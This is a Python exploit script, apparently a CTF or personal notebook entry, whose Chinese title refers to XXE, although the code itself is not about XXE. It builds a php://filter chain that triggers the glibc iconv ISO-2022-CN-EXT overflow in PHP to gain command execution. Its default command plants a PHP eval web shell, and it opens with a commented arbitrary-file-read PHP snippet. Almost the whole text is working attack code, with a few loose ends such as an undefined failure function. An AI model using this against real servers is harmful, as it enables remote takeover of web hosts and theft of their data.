XXE的简单了解

#<?php
#$file = $_REQUEST['file']; 
#$data = file_get_contents($file);
#echo $data;

from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self):
        return self.stop - self.start

def print_hex(data):
    hex_string = binascii.hexlify(data).decode()
    print(hex_string)

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.b64encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload


def _get_region(regions, *names):
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")
    return region


def find_main_heap(regions):
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        print("Potential heaps: "+heaps+" (using first)")
    else:
        print("[*]Using "+hex(first)+" as heap")

    return first


def get_regions(maps_path):
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    f = open('maps','rb')
    maps = f.read().decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in maps.split("\n"):
        #print(region)
        match = PATTERN.match(region)
        if match :
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print("[*]Unable to parse memory mappings")

    print("[*]Got "+ str(len(regions)) + " memory regions")
    return regions




def get_symbols_and_addresses(regions):

    # PHP's heap
    heap = find_main_heap(regions)

    # Libc
    libc_info = _get_region(regions, "libc-", "libc.so")

    return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
    LIBC = libc
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
    ADDR_HEAP = heap
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = cmd
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if sleep:
        COMMAND = f"sleep {sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * padding
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )
    
    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"


    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "/".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"
    path = path.replace("+", "%2b")
    return path


maps_path = './maps'
cmd = '"<?php eval(\\$_GET["cmd"]);?>" > /var/www/html/shell.php'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.3.1.so'
if not os.path.exists(libc_path):
    exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

print("[*]payload:")
print(payload)